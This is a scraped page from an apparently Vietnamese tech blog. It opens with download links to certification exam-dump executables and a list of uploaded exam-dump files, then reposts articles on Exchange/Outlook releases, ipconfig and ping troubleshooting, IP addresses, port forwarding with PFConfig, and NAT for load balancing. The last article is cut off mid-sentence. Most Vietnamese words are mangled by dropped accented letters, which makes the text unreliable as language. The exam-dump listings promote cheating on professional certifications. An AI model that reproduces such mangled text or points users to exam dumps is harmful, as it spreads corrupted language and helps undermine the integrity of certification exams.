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www.freepreptest.com/examworx/JN0-561.exe www.freepreptest.com/examworx/JN0-561ePad.exe www.freepreptest.com/examworx/JN0-562.exe www.freepreptest.com/examworx/JN0-562ePad.exe www.freepreptest.com/examworx/MB2-184.exe www.freepreptest.com/examworx/MB2-184ePad.exe www.freepreptest.com/examworx/MB2-185.exe www.freepreptest.com/examworx/MB2-185ePad.exe www.freepreptest.com/examworx/MB2-186.exe www.freepreptest.com/examworx/MB2-186ePad.exe www.freepreptest.com/examworx/MB2-228.exe www.freepreptest.com/examworx/MB2-228ePad.exe www.freepreptest.com/examworx/MB2-421.exe www.freepreptest.com/examworx/MB2-421ePad.exe www.freepreptest.com/examworx/MB2-422.exe www.freepreptest.com/examworx/MB2-422ePad.exe www.freepreptest.com/examworx/MB2-423.exe www.freepreptest.com/examworx/MB2-423ePad.exe www.freepreptest.com/examworx/MB2-498.exe www.freepreptest.com/examworx/MB2-498ePad.exe www.freepreptest.com/examworx/MB3-207.exe www.freepreptest.com/examworx/MB3-207ePad.exe www.freepreptest.com/examworx/MB3-208.exe www.freepreptest.com/examworx/MB3-208ePad.exe www.freepreptest.com/examworx/MB3-209.exe www.freepreptest.com/examworx/MB3-209ePad.exe www.freepreptest.com/examworx/MB3-210.exe www.freepreptest.com/examworx/MB3-210ePad.exe www.freepreptest.com/examworx/MB3-214.exe www.freepreptest.com/examworx/MB3-214ePad.exe www.freepreptest.com/examworx/MB3-215.exe www.freepreptest.com/examworx/MB3-215ePad.exe www.freepreptest.com/examworx/MB3-216.exe www.freepreptest.com/examworx/MB3-216ePad.exe www.freepreptest.com/examworx/MB3-230.exe www.freepreptest.com/examworx/MB3-230ePad.exe www.freepreptest.com/examworx/MB3-234.exe www.freepreptest.com/examworx/MB3-234ePad.exe www.freepreptest.com/examworx/MB3-408.exe www.freepreptest.com/examworx/MB3-408ePad.exe www.freepreptest.com/examworx/MB3-409.exe www.freepreptest.com/examworx/MB3-409ePad.exe www.freepreptest.com/examworx/MB3-412.exe www.freepreptest.com/examworx/MB3-412ePad.exe www.freepreptest.com/examworx/MB3-413.exe www.freepreptest.com/examworx/MB3-413ePad.exe
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over850scoreq.vce 14-Apr-2008 Microsoft TestInside 70-554 by navneet21 172q.vce 14-Apr-2008 Latest PDF Store Uploads Date Citrix TestKing 1Y0-259 v2.0 126q.pdf 21-Apr-2008 Citrix ExamWorx 1Y0-613 v2 73 88q.pdf 11-Apr-2008 Cisco TopCerts 642-873 v2 73 65q.pdf 11-Apr-2008 Cisco TopCerts 646-653 v2 73 45q.pdf 11-Apr-2008 Cisco TopCerts 642-964 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 642-565 v2 73 70q.pdf 11-Apr-2008 Cisco TopCerts 646-011 v2 12 100q.pdf 11-Apr-2008 Cisco TopCerts 642-651 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-562 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-362 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 642-691 v2 73 96q.pdf 11-Apr-2008 Cisco TopCerts 646-096 v2 73 51q.pdf 11-Apr-2008 Cisco TopCerts 642-652 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-967 v2 73 55q.pdf 11-Apr-2008 Cisco TopCerts 646-229 v2 12 60q.pdf 11-Apr-2008 Cisco TopCerts 646-003 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-222 v2 20 46q.pdf 11-Apr-2008 Cisco TopCerts 642-445 2 73 96q.pdf 11-Apr-2008 Cisco TopCerts 642-544 v2 73 48q.pdf 11-Apr-2008 Cisco TopCerts 642-426 v2 73 55q.pdf 11-Apr-2008 How to Open VCE Files Files with VCE extension can be opened with Visual CertExam Suite. Visual CertExam Suite How to Create VCE Files If you are also interested in creating VCE files from PDFs, you can read or download [PDF: 81.3 KB] the tutorial. Easy Way to Convert PDF to VCE Exam Formatter is a free tool that will help you to prepare text files imported from PDF for import into Visual CertExam Designer. Google http://www.examcollection.com/ c ng bi haodalat ti 11:21 CH 0 nhn xet Nhan: Pass4Sure, Pre Exam
Vn truyn thng - Exchange v Outlook
Cc sn phm truyn thng gm c Exchange Server, Outlook, Communication Server (trc y c bit n l Live Communications
Server), Communicator v cc sn phm c lin quan n messaging, voice v hi tho.
Nhng g mi trong vn truyn thng ca Microsoft Nhng phi trin chnh trong cc sn phm ca Microsoft cho vn truyn thng thi gian thc v email (nh Instant Message) c thc hin t thng 9. Exchange Server 2007 v Outlook 2007 c pht hnh vo thng 9 nm 2006. Exchange 2007 v Outlook 2007 c pht hnh vo thng 12 nm 2006, y l bt u nng cp chnh ca n i vi dng sn phm truyn thng ca Microsoft. Exchange 2007 cung cp nhiu tnh nng messaging c hp nht, n kt hp c th thoi v th in t trong mt hm th v a ra nhiu kin trc mun vi mt giao din qun tr c th lp kch bn v hon ton mi, giao din mi ny c th gip qun l v v m rng d dng hn. Mt pht hnh c ln k hoch vo gia nm 2007 ca sn phm Communication Server cho Instant Message, s hin din, thoi v Web conferencing s hon tt nn tng truyn thng ca Microsoft. Exchange v Outlook Exchange Server v Outlook client cung cp cc chc nng qun l thng tin c nhn v email, gm c lch biu, lin h v qun l nhim v. Cc i th cnh tranh ca Exchange l Domino/Notes, IBM Lotus v Novell GroupWise. (Tng quan bng ha v cc pht hnh ca Exchange v Outlook gn y v sp c pht hnh s cung cp cho bn nhiu thng tin hn). Microsoft cung cp mt dch v lu tr, chng spam v bo mt email, dch v ny c tn gi l Exchange Hosted Services, mc d vi tn gi nh vy nhng dch v ny lm vic vi tt c cc h thng email trn Internet m khng ch ring Exchange. Tng quan v Exchange v Outlook Pht hnh vo thng 2 nm 2007 v sau l cc xu hng theo c lng tnh ton ca Microsoft Du chm en l mc thi im chm dt h tr m rng Mt pht hnh chnh cho Exchange, my ch cng tc v email, c pht hnh vo thng 9 nm 2006. Exchange 2007 cung cp tnh nng th tn hp nht (tnh nng kt hp email vi th thoi v cc dch v fax), mt kin trc mul gip ci thin kh nng m rng v an ton, bn cnh l mt tp Web Services API mi dnh cho cc chuyn gia pht trin phn mm. Exchange 2007 hin ch c cho cc b vi x l x64 b4-bit, iu cng c ngha l cc b vi x l khc s khng h tr nng cp thch hp t nhng phin bn trc. Outlook 2007 cng c pht hnh vo thng 11 nm 2006 v c nhiu ci
thin v qun l nhim v, h tr lch biu v chia s nhim v vi cc sn phm SharePoint. N cng h tr nhiu tnh nng mi ca Exchange 2007 nh th tn hp nht, tuy nhin n li c th lm vic vi Exchange 2003. Cng ging nh vy, Exchange 2007 khng yu cu Outlook 2007 nhng mt s tnh nng ca n lm vic tt hn vi client mi ny. Khng c pht hnh trong tng lai no ca c hai sn phm Exchange v Outlook c tuyn b cho n hin nay, nhng mt nng cp c th c pht hnh cng vi Office 14, d nh vo khong cui nm 2009. Dch v lu tr v lc trc tuyn Exchange Hosted Services c bn nng cp hon chnh (phin bn 6.0), ban u c d nh pht hnh vi Exchange 2007 cho php cung cp s tch hp th mc cho dch v lc cng vi nhiu ci thin khc na. Exchange Server Exchange Server 2007 (tn m trc y l Exchange 12) c pht hnh ng k n bn cho cc khch hng vo thng 9 nm 2007. Nhng tnh nng ng lu ca n gm: - Hp nht th tn, tnh nng ny h tr thoi, fax, cc thng bo email trong mt c s h tng th tn. - Cc tnh nng quan trng nh phn loi th, t ng ghi nht k (lu tr) v th mc c qun l s cho php cc qun tr vin c th p t cc chnh sch (v d p t vic xa cc bn ghi email qua mt chu k mi c y quyn bi nhng quy tc). - Nhng tnh nng c ci thin nh c ch ti to c s d liu mi cho php thc hin thng xuyn vic backup th tn, gim hin tng mt d liu v tng tc khi phc t cc li my ch. - Kin trc mul nh ngha nhiu quy tc cho Exchange Server (v d quy tc edge transport server cho vic nh tuyn lu lng email ca Internet) v cho php cc cng ty c th ci t ch nhng thnh phn cn thit trn my ch m trch mi quy tc, t lm gim c s lng cc thnh phn cn phi thc hin v v bo v chng li cc tn cng. - H tr cho cc b vi x l x64-64-bit, cho php cc my ch Exchange mailbox c th khai thc mt s lng ln b nh v h tr cc hm th v kch c ln cng nh s lng. - Mt giao din qun l mi ca PowerShell, c ch kch bn th h k tip ca Microsoft, dng h tr vic qun l cc ci t theo kch bn. - Web Services API mi cho vic truy cp vo email, lch biu, cc lin lc, nhim v, cho php bt k mt ng dng web Services no (gm c c cc
ng dng khng thuc nn tng ca Microsoft). Exchange 2007 chy ring trn phn cng x64 64-bit; cc phin bn 32-bit ch mi a vo chy th. Cng vi nhiu iu mi m khc, s hn ch ny s ngn chn thch hp nhng nng cp ca cc ci t Exchange 2003 ang tn ti, cc cng ty vn cha nng cp phn cng cho Exchange Server gn y s phi i cho phin bn sp ti c a ra mi c th s dng c Exchange 2007. Khng c pht hnh no c tuyn b sau Exchange Server 2007, tuy nhin mt pht hnh tng t trong mt kt hp vi Office 14 s c ra mt vo khong tm cui nm 2009. Cc phin bn ca Exchange Server trc y Biu ny ch phc tho nhng thi im h tr trong chu trnh pht trin phn mm cng nh pht hnh ban u v lch s ca cc pht hnh cho cc phin bn gn y ca Exchange Server. Sn phmGi dch v hin tiChm dt h tr ch oLch s pht hnhLu Exchange Server 2002SP3: 8/20021/2006 H tr m rng: 11/1/2011Pht hnh: 10/2000 SP1: 7/2001Yu cu Windows 2000 v Active Directory. Khng th chy trn Windows Server 2003; c th hot ng chung vi cc b iu khin min ca Windows Server 2003.Exchange Server 2003SP2: 11/10/20059/2008Pht hnh: 9/2003 SP: 9/2004Mt s tnh nng yu cu n Windows Server 2003 v Outlook 2003. Nhng u tin ca Exchange c th s tch hp nhiu hn vi thoi v cc dng truyn thng thi gian thc khc thng qua dng sn phm Communication Server ca Microsoft; nhng ci thin b sung cho bo mt, chng spam, v cc nguyn tc hp l; s hp nht cc Exchange API i vi cc chuyn gia pht trin phn mm. Nhng pht hnh Exchange trong tng lai c th s khng c cung cp mt cch lin tc s h tr cho Public Folders nh dng sn phm SharePoint vn tip tc cc chc nng cng tc chia s d liu v ti liu. Outlook Phin bn hin hnh ca trnh my khch dnh cho vic qun l thng tin c nhn cng nh email ca Microsoft l Outlook 2007, phin bn mi ny c pht hnh vo thng 11 nm 2006. Nhng tnh nng ng ch ca n cho php tch hp tt hn cc nhim v vi mt s mc nhim v (nh cc cuc hn v cc thng bo c nh du cho vic tip theo) v vic cng b nhim c cng nh lch biu vi cc sn phm portal ca SharePoint. Outlook 2007 cng cung cp mt giao din ngi dng tt hn cho mt s tnh nng
mi cua Exchange 2007 (nh th thoi). Outlook 2007 v Exchange 2007 khng yu cu ln nhau; nhng chng c mt s tnh nng ch lm vic khi c c hai, tuy nhin cc t chc c th chuyn sang tng sn phm ring bit. Cc phin bn Outlook trc y Biu ny s phc tho nhng mc thi gian h tr trong chu trnh pht trin phn mm ca Microsoft cho sn phm ny cng nh nhng pht hnh ban u v lch s cc gi dch v cho cc phin bn gn y ca n. Sn phm Gi dch v hin hnhMc thi gian chm dt h tr ch oLch s pht hnhOutlook 2000SP3: 21/10/200230/6/2004 Chm dt h tr m rng: 14/7/2009Pht hnh: 6/1999 SP1: 3/2000 SP1a: 5/2000 SP2: 11/2000Outlook 2002SP2: 21/8/200211/7/2006 Chm dt h tr m rng: 12/7/2011Pht hnh: 5/2001 SP1: 12/2001Outlook 2003SP2: 27/10/200513/1/2009Pht hnh: 10/2003 SP1: 27/7/2004 Exchange Hosted Services Exchange Hosted Services l mt tp cc cng c gm c bn dch v cung cp trc tuyn do Microsoft cung cp, cho php cc t chc c th thm vo nhiu chc nng lin quan n email khc nhau nh chc nng chng virus, chng spam, lu tr thng bo, khi phc thm ha v m ha th tn, trong khi vn cu hnh cc my ch email bn trong. c thu nhn t FrontBridge Technologies t hi thng 8 nm 2005, Exchange Hosted Services gm c bn dch v di y: - Exchange Hosted Filtering hp nht cc b lc c cp nht mt cch lin tc bo v giao thc truyn ti mail n gin (SMTP) vo v ra cho cc t chc i ph vi cc vn nh spam, virus, chng gi mo v cc vn mail khc . - Exchange Hosted Continuity cho php vic truy cp ang din ra vi email mc d thiu my ch email i vi mt khch hng no bng cch y ra email vo (inbound) v c th lu ln n 30 ngy s lng cc bn copy ca tt c cc mail (vo, ra v bn trong) cho tham chiu sau ny. - Exchange Hosted Archive cng ging nh Hosted Continuity nhng n cung cp nhng tnh nng thin v bo co v tm kim hn, chu k s dng di hn gip cc doanh nghip c th t c nhng yu cu cn iu chnh v hp l. - Exchange Hosted Encryption cho php ngi dng c th gi v nhn email
c m ha, thm ch vi nhng ngi nhn trong cc t chc khc. Mc d vi cc tn nh vy nhng Exchange Hosted Filtering v Encryption c th lm vic vi bt k h thng email (SMTP) Internet chun no; cn Exchange Hosted Continuity v Exchange Hosted Archive th hon ton ngc li, s dng vic ghi nht k Exchange pha trnh khch capture email bn trong. Exchange Hosted Services thng xuyn c ci thin. Exchange Hosted Services 6.0, ban u c ln k hoch pht hnh vi Exchange 2007, pht hnh s gii thiu vn tch hp th mc cho dch v lc, ci thin hiu sut tm kim cho Archive Services v Continuity Services, ngoi ra cn bo v chng li vic spam da trn nh.
Theo Microsoft, QuanTriMang http://www.worldsoftvn.com/forum/showthread.php? s=5ce030c09cefc0b4a796e80f4ec0e332&t=676 c ng bi haodalat ti 6:32 CH 0 nhn xet Nhan: Exchange- Outlook
21-04-2008
Khc phc nhanh khi kt ni Internet b 't'
Khi ang duyt web m thy thng bo "The page cannot be displayed" (trang khng hin th c) th c th kt ni mng ca hng. Nhng cch sau y s gip phc hi li. 1. Khi ng li kt ni Cch n gin nht l bm chut phi vo biu tng Local Area Connection trn khay h thng (hoc vo bng cch bm chut phi icon My Network Places > chn Properties > Disable. Sau , bm Enable li. Nu cch ny khng c, ngi dng c th th cc bin php lin quan n a ch IP: 2. Ly li a ch IP Nu thu bao DSL hay cp, bn c th ang dng a ch IP ng - c ngha l a ch kt ni PC vi Internet s thay i mi ln ng nhp. a ch ny c ch nh nh giao thc DHCP. Tuy nhin, trong qu trnh hot ng, DHPC c th khng cp a ch mi khi my khi ng v bn s "kt" vi a ch IP c v khng kt ni c Internet. D h thng kt ni trc tip qua modem hay router, bc u tin bn phi
lm l ly mt a ch IP c ch nh bng cch nhn chut phi vo biu tng kt ni mng trn khay h thng, chn Repair. Windows s t ng loi b a ch c v yu cu a ch mi t router hoc nh cung cp dch v (ph thuc vo cch PC c kt ni). Phn ln cc trng hp, cch ny kh hiu qu. Nhng nu khng khc phc c, bn phi gii quyt bng tay. Nhn vo menu Start > Run > g cmd. (Trong Windows Vista, ch cn g cmd vo hp thoi Start Search). du nhc i lnh trn mn hnh DOS, g ipconfig xem a ch IP hin ti, subnet mask v gateway mc nh cho tt c cc adapter. Cc adapter khc c th bao gm card Wi-Fi v Bluetooth, mc d chng s xut hin trong trng thi khng kt ni. Bn thn cu lnh ny ch hin th thng tin ch khng lm c g. Mun ly mt a ch IP khc, hy g thm tham s /release v /renew sau ch ipconfig v mt du cch. ipconfig /release s iu khin my ch DHCP xa a ch IP hin c ca tt c cc adapter, d l mng Ethernet hay khng dy. Sau , lnh ipconfig /renew nu thnh cng th mt a ch IP mi, mt subnet mask mi v mt gateway mc nh mi s xut hin. 3. Kim tra cache DNS Khi bn vn kt ni c Internet nhng khng th vo mt trang no , c th trc trc cache my khch DNS gy ra iu ny. DNS dch tn vn bn tn min Internet thnh s IP. V d Amazon.com tr thnh 207.171.171.132. Cache lu mt h s v cc trang bn gh qua ln sau, khi vo tip, s ti nhanh hn. i khi, mt phn ca file b hng v khin PC khng th tm li ni lu tr. Xa cache chnh l cch gii quyt vn ny. G dng lnh ipconfig /displaydns xem danh sch cc tranh gh qua. Nu khng c tn trang web m bn cn vo th g tip ipconfig /flushdns xa danh sch ny. Sau , g li a ch web trn trnh duyt. 4. Dng thm cc tham s khc ca ipconfig Cc tham s ca lnh ipconfig. Ipconfig c nhiu tham s khc dnh cho vic x l rc ri cp cao hn, v nu bn may mn th s khng bao gi cn n chng. G ipconfig /? nghin cu thm. 5. Ping a ch IP Cng trong ca s DOS, lnh ping lm vai tr xc nh kt ni mng ca my tnh. Vic ping ny s gi gi d liu ti host, c th v von ging nh tu
ngm truyn sng m ti mt vt th di nc xc nh khong cch, lnh ping c lng thi gian i hai chiu ca gi tin, a n v v hin th bt k tnh trng mt gi tin no. Trc ht, nhn li a ch IP ca my tnh (v d 127.0.0.1) v g ping 127.0.0.1 du nhc i lnh, i vi giy ch phn hi. Windows s c gng ping n card mng ca h thng xem thit b c hot ng khng. Nu bn nhn li c gi tin ngha l adapter mng hot ng n. Gi ping n mt a ch ngoi bng cch g vo , v d ping google.com. Nu c gi tin tr li, kt ni mng ca bn c thit lp. Tuy nhin, nu khng nhn c gi tin ny, bn hy th ping a ch IP ca gateway mc nh. Nu cch ny cng khng c, phn cng (modem, router, dy ni) ca bn c vn v phi kim tra li. 6. Kim tra phn cng Nu my tnh ni trc tip vi modem DSL, hy kim tra cc dy ni c gn cht vi cc im ni, n modem phi sng. Kim tra li cng Ethernet trn PC xem n c sng khng. Nu n tt trong khi cp c ni vo my tnh (bt in) th c ngha l phi thay cng Ethernet. Nu n sng m vn khng c kt ni, hy tt cc thit b mng ca bn v i mt lt ri bt li. Cn lm theo cc trnh t sau y. - Tt PC, rt dy in ca modem. Nu ang dng router th tho dy in carouter. - Sau khi ng li modem. Sau khi n khi ng xong v c n bo kt ni, hy bt router v i router khi ng li. - Khi hon thnh vic ny, bt PC, m trnh duyt kim tra kt ni. Nu tt c cc thao tc trn u tht bi th n lc bn phi gi h tr t nh cung cp dch v. Hy cho h bit bn lm nhng thao tc trn h khng phi lm li, mt thi gian. C th nguyn nhn l mt li no trong h thng hay trn ng dy ko t ngoi vo nh bn. http://kythuatmang.com/ktm/viewthread.php?tid=422&extra=page%3D1 c ng bi haodalat ti 9:38 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Lam th nao xac inh mt ia chi IP
ia chi IP (Internet Protocol) l mt a ch duy nht m cac thit b in t s dng nhn bit va giao tip ln nhau trn mang my tnh. a ch ny c xc nh bng cch s dng chun IP (Internet Protocol). inh nghia mt cach n gian hn thi a ch IP l a ch my tnh s dung trn Internet.
Do vy ma ia ch IP la duy nht i vi mi thit b. Ngoi my tnh, nhng thit b khac c th c a ch IP duy nht bao gm router, switch, cac may chu c s ha tng, may in, may fax Internet va thm chi la mt s may in thoi. a ch IP c gn v qun l bi IANA (Internet Assigned Numbers Authority). IANA chi inh cac khi a ch IP ti bt k 4 khu vc ng k Internet (ARIN, RIPE NCC, APNIC v LACNIC), nhng ni nay sau o se gn cac khi a ch IP nho hn ti cac nh cung cp dch v Internet v doanh nghip. Mt a ch IP thng thng gm c 32 bit hoc 4 byte a ch thng c hin thi bi 4 ch s (mi s gii han t 0 n 255) v cach nhau bi du chm. Ta co mt vi du v ia ch IP nh sau: '192.135.67.201'. Phm vi ca cac s trong khoang t 0 ti 255 thng c hin thi bi 8 bit, hay con goi la mt Octet. Tuy nhin, hn ch ca phin bn a ch IP nay l s lng a ch IP bi gii han i vi 4, 294, 967, 296. V th mt phng phap gn a ch IP mi co tn l CIDR a thay th cho phng php trn. Phng phap CIRD cng c ap dung vao phin bn tip theo (IPv6) ca a ch IP. Phin bn mi ca a ch IP l 128 bit hoc 16 byte chiu rng, phin ban nay s cho php mt khi lng ln a ch IP tr nn sn c cho cac my tnh trn Internet. Phn loai a ch IP C hai loai a ch IP: IP tinh va IP ng. Khi a ch IP ca may tinh la nh nhau mi ln may tinh kt ni vao mang thi o c goi la ia chi IP tinh. Tuy nhin, khi a ch IP ca my tnh thay i khac nhau mi ln may tinh kt ni mng thi o la ia chi IP ng. a ch IP my ban l g? Cho n by gi chc hn bn vn ang thc mc "a chi IP cua ti la gi?" va "Lam th nao ti co th xac inh c ia chi IP cua ti". Khng kho ban co th xac inh ia chi IP. Tuy nhin cac phng phap se khac nhau qua cac tinh hung khac nhau. Di y se la mt s phng phap n gian xac inh ia chi IP cua may tinh khi ang kt ni Internet, khi ban s dng may tinh Macintosh hay khi s dng my tnh Windows, v thm chi ca cach nhn din a ch IP cua ngi gi th in t. Khi kt ni Internet
Trn Internet co rt nhiu trang web c th do tim a ch IP khi may tnh c kt ni qua Internet. Tuy nhin, nu nh bn ang trn mt mang LAN hay mt mng ti nh, th cac trang web o co th se do tim ia chi IP cua router mang. Khi s dng may tinh Macintosh Trn may Mac, a ch IP c tm thy tai bang iu khin TCP/IP, khi my tnh l Mac OS X thi a ch IP c tm thy tai System Preferences trong muc Internet and Network . Khi s dng my tnh Windows Nu bn mun do tm a ch IP ca my tnh (trng hp ang s dung Windows) th qu trnh hon do tim rt n gin: * Kch vo 'Start' trn thanh tac vu Windows. * Chn 'Run'. * Nhp cmd tai hp nhp text. Lnh nay se chuyn ti trinh n du nhc lnh. * Tai trinh n nay, nhp ipconfig/all. Bn s tm thy a ch IP ca my tnh tai trng a ch IP. Do tim ia chi IP cua th in t nhn c Nu bn mun do tim a ch IP ca my tnh a gi th cho ban thi c th tm thy tai u mc (header) th in t. Thng thng, thng tin ny se c n i. Nu kch vo 'Show Headers' trong khi oc th in t trn Internet, thi a ch IP ca my tnh t ni gi th se c hin thi. Mt s gia tri cua ia chi IP ia chi IP rt hu ich cho vic do tim va giai quyt cac vn v xm nhp cung nh cac mi nguy him t Internet. Nhng ia chi IP nay ng thi cung giup giam spam th in t hoc khi ban nhn c nhng bc th vi nhng li e doa hay cac loai virut nguy him co th xm nhp thng qua th in t. Theo Buzzle
http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/1/34919 .html c ng bi haodalat ti 9:24 CH 0 nhn xet Nhan: co ban ve Mang may tinh, IP, NETWORK
Ngh thut NAT - Phn 2: Dnh cho ngi dng bnh dn
ADSL ngy cng mnh v lan ta th nhu cu chia s d liu thng qua mng cng rt ln, cng nh nhu cu gii tr thng qua Game Online ang rt thnh hnh. Thng thng, cc my tnh khi s dng mng ADSL ti Vit Nam thng dng thng qua mt Router nht nh thng qua c ch NAT. Chnh v th, cu hnh mt cch t ng c ch chuyn Port trong Router c th kt ni cng nhau nhiu my vi tnh l iu m nhiu bn quan tm. Cch ny c xem l kh hu ch cho nhng dn ghin Game l c th chi Online trn c s Offline, v mun t to Server ring cc ngi bn c th cng nhau chi game trn ng truyn Interner tng t nh khi chi qua LAN. Vi PFConfig l nhng g bn cn trong trng hp ny. Chng trnh s t ng chuyn Port thng qua NAT mt cch t ng trn kh nhiu Router v Modem. Ngoi ra, PFConfig cn h tr kh nhiu ng dng cho php bn thoi mi hn khi dng chung vi nhiu my khc thng qua mi trng ADSL, c bit l cc ng dng chia s ngang hng v cc ng dng Game Offline. PFConfig l phin bn c ph. Tuy nhin, bn c th dng min ph nu ch dng chuyn port t ng m khng mun lp trnh phn cng trn Router. Bn c th ti PFConfig phin bn mi nht 1.0.187 ti http://www.portforward.com/store/PFCSetup1.0.187.exe. Dung lng ca PFConfig l 2.38MB. Tng thch mi phin bn Windows. Sau khi ti v ci t thnh cng, bn cn khi ng li my c th s dng chng trnh. Ngay ln khi ng u tin, bn chn Cancel, sau nhn tip OK bt u s dng chng trnh. Ti khung chnh ca chng trnh, bn chn Tools > Select Router hin th hp thoi chn thit b phn cng tng ng.
Khi hp thoi Select Your Router hin th, bn nhn chn vo Update List hin th ton b danh sch thit b mi nht t trang ch nh sn xut. Sau khi hon tt, bn chn vo mc Router tng ng. Theo thng k c khong hn 40 nh sn xut gp mt trong chng trnh. Sau khi chn xong nh sn
xut, danh mc Router s hin th khung tng ng bn phi. Bn nn ch vo dng sn phm trn kt ni ca mnh c la chn ng n. Thng thng ng truyn FPT thng s dng loi Router ZyXel 4 Port hiu Prestige600. Bn nhn Next qua bc tip theo. Ti phn Router Settings cho bn chn thng s IP ca Router. Cc thng s ny thng c PFConfig t ng thit lp. Bn ch nn in User v mt khu tng ng hon tt. Thng thng User v mt khu mt nh tng ng l Administrator v 1234 hoc xem thng s manual trn Router. Nhn Finish hon tt.
By gi mi cng vic ca bn hon tt. Bn quay li khung chnh ca chng trnh.
Trong phn Applications, bn s thy hai phn nh v Default Applications v Custom Application. phn Default cho bn la chn cc chng trnh cn PFConfig t ng chuyn port cho ng dng. a phn cc ng dng t mc Default u dnh cho cc Game th khi mun chi Online v cho mt s Game Offline hay v tiu biu. Mt s t ng dng nh dnh cho chia s ngang hng nh Chat, chia s file, Webcam...Bn ch cn chn ng dng, sau , nhn chn Forward this App.
Phn Select Target hin th cho bn chn dng my ch thng qua IP. Bn c th t ng chn my ch ca mnh thng qua This Computer (Default Option) hoc chn mt Server khc sau khi gn IP thong qua ty chn Another Computers on my Network. Nhn Finish. By gi, bn s c mt IP dnh ring c dng xxx.xxx.xxx.xxx: s Port dnh cho Game hoc ng dng cn chia s . Bn ch vic Share IP ny cho ngi bn cng chi game v h thit lp trong phn TCP/IP l c th kt ni cng chi game hay chia s ngang hng. Nu ng dng bn s dng khng c trong danh mc (thng rt t khi xy ra), bn c th chn vo mc Custom Application, sau chn New. Sau nhp tn ca ng dng vo khung tng ng. Nhn Next. Nhp ni dung
cng TCP (thng thng l 80). Sau nhn Finish v thao tc nh vi mc Default Application. Rt nhanh v thun li. Cc Game Offline c nhiu ngi chi cng u c chng trnh h tr nh: FIFA, Age Of Empires, Age Of Empires II, Age Of Empires III, Age Of Mythology, Battle Realms, Red Alert, Need For Speed, StarCraft, The Lord Of The Rings...Cc ng dng chia s ngang hng nh Emule,Webcam... Theo xhtt http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/3/37846 .html c ng bi haodalat ti 9:22 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NAT, NETWORK
Ngh thut NAT - Phn 1: Cc yu t k thut cho ngi dng cp cao
Nu nh cn bng ti (Load Balancing) l linh hn ca cc trung tm x l d liu ln hin nay th dch a ch mng (Network Address Translation - NAT) l tri tim ca "load balancing". K thut NAT c s dng kh ph bin, nhng khi vn dng vo Load Balancing ta mi thy ht s a dng v ti tnh nh th no. NAT l k thut thay i cc a ch mng (Network Address) trong mt gi tin (packet) gy nh hng trong qu trnh nh hng i ca packet cho mt mc ch c th. a ch mng y mun ni n a ch IP (Internet Protocol) layer 3, ngoi ra cn c th thay i s port layer 4 theo m hnh phn lp OSI. Bn cnh a ch mng cn c phn bit a ch ngun (source) v a ch ch (destination). Ty theo mc ch dng NAT m ta thay i mt s hoc tt c cc loi a ch trn trn cng mt packet. Xt m hnh load balancing nh sau
Chng ta s xem cc k thut NAT s dng trong load balancing nh th no. Destination NAT y l loi hnh NAT ph bin nht, ta cn hay gi l "NAT xui", hay "NAT vo". NAT theo kiu ny ch thay i a ch IP ch ca gi tin m khng ng n cc thnh phn khc. y cng l kiu c s dng mc nh trong load balancing theo cch sau:
- Khi client gi packet request R ti b cn bng ti (load balancer), R s c dest IP l VIP ca load balancer (141.149.65.3), source IP l IP ca client (188.1.1.10). Do load balancer i din cho tt c nhng server thc ng sau nn IP ca load balancer cng l a ch i din, client s ch lin h vi load balancer m khng bit c a ch tht ca cc server l g. a ch IP i din ca load balancer cn c gi l a ch IP o (Virtual IP - VIP) - Load balancer s gi R n server 2 x l nn n thc hin thay dest IP trong R thnh IP ca server 2 (10.10.10.20), source IP vn gi nguyn (188.1.1.10). Thao tc ny gi l Destination NAT. - Nh c dest IP l IP ca server 2 nn R s c nh tuyn tip n server 2 x l. - Khi server 2 tr li, packet reply s i qua li load balancer. Ti y packet c un-NAT, ngha l thay li a ch IP ca server 2 (lc ny tr thnh source IP) bng VIP ca load balaner. Reverse NAT Trong c ch load balancing, cc server tht ch c cp a ch IP private (v nhiu l do, trong c s hn ch v s lng IP public v tnh bo mt), ngha l khng th i ra Internet c. Load balancer thng c public ra Internet nhn request cho cc server bn trong nn n thng c mt a ch IP public cc client kt ni t bn ngoi vo, v a ch ny cng l VIP. Khi client mun s dng dch v ca server bn trong, load balancer thc hin vic chuyn i a ch dest IP t public sang private n c server, l kiu NAT ta xt trn. Trong trng hp ngc li, khi server bn trong mun khi to kt ni vi bn ngoi Internet, load balancer phi thc hin vic chuyn a ch source IP ca packet i ra t private sang public c th lu thng trn Internet. Do cch hot ng nh vy nn kiu NAT ny cn c gi l SourceNAT, "NAT ngc", hay "NAT ra". Port-Address Translation (PAT) Hai trng hp trn ta xem xt hai kiu thay i a ch IP, trng hp th ba ny cn c gi l "NAT port", ngha l s port TCP/UDP trong packet s b thay i ( y ta khng xt n cc protocol khc cng c dng port). PAT cng l mt phn tt yu ca load balancing. Cch hot ng ca n cng rt n gin: Khi ta lin kt (bind) port 80 ca VIP trn load balancer n port 1000 trn server tht, load balancer s thc hin vic chuyn i v y ton b yu cu port 80 (dest port) n port 1000 trn server. Nhng li ch khi ta thc hin PAT: - Bo mt l ch li u tin m ta thy ngay. Bng cch khng m nhng
cng mc nh trn server, ta c th gy kh khn hn cho vic tn cng c . Chng hn, ta c th chy mt Web server trn port 4000, v lin kt port 80 ca VIP trn load balancer n port 4000 ca server tht. Lc by gi, k tn cng khng th khai thc trc tip ln port 80 ca server tht c, v n khng c m. - Kh nng co dn (scalability) PAT cho php ta chy cng mt ng dng trn nhiu port. Ty theo cch thit k ng dng, c th vic chy nhiu bn sao ca n s lm tng hiu sut phc v ln. Chng hn ta c th chy my ch web IIS trn cc port 80, 81, 82 ca mi server tht. Sau ch cn lin kt port 80 ca VIP vi mi port chy IIS ca server tht. Load balancer s phn b lu thng khng ch cho cc server m cn gia cc port trn tng server. - Kh nng qun tr (manageability) chng hn khi host nhiu website trn mt b cc server tht, ta c th ch cn dng mt VIP i din cho tt c cc domain ca cc website. Lc ny load balancer s nhn tt c cc request n port 80 cng mt VIP. Web server ca ta c th chy mi domain trn mt port khc nhau, chng hn 